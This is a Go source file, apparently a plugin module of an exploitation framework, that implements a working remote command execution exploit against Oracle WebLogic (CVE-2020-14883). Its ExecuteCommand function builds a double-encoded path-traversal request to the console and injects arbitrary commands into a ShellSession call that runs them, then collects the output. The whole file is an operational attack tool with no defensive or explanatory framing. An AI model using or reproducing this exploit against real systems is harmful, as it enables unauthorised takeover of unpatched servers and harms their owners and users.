package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/url"
)

type WebLogicCve202014883 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp WebLogicCve202014883
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *WebLogicCve202014883) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "9591a105-957f-4a0d-956f-0ddfcf7cea2a",
		VulId:   "df9ef60c-7f80-4dc8-a3d7-2df558159046",
		Name:    "WebLogic_CVE_2020_14883-rce",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *WebLogicCve202014883) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	for _, cmd := range expContext.CommandToExecute {
		newCmd := url.PathEscape(cmd)
		payload := `/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27` + newCmd + `%27);%22)`
		newUrl, err := url.Parse(req.GetUrl().String() + payload)
		if err != nil {
			return nil, err
		}
		req.RawRequest.URL = newUrl
		req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
		req.RawRequest.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8")
		req.RawRequest.Header.Add("Accept-Language", "en-US,en;q=0.5")
		req.RawRequest.Header.Add("Accept-Encoding", "gzip, deflate")
		req.RawRequest.Header.Add("Connection", "close")
		req.RawRequest.Header.Add("Upgrade-Insecure-Requests", "1")
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}

		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}
func (t *WebLogicCve202014883) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *WebLogicCve202014883) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
